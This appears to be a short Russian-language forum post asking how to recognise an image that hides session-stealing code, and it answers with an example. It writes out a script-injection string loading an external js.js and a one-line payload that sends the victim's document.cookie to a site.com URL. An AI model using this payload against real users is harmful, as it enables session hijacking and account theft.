Как узнать, что в картинку вшит код?

что это не картинка в чистом виде, а вредоносный код, крадущий сессию, например, в почте или в сообщении с прикрепленной картинкой

 

Код картинки, будет типа такого:

Code:

 "><script src=http://site.com/js.js></script>

в файле js.js

Code:

img=new Image();img.src="http://site.com/icon.gif?"+document.cookie;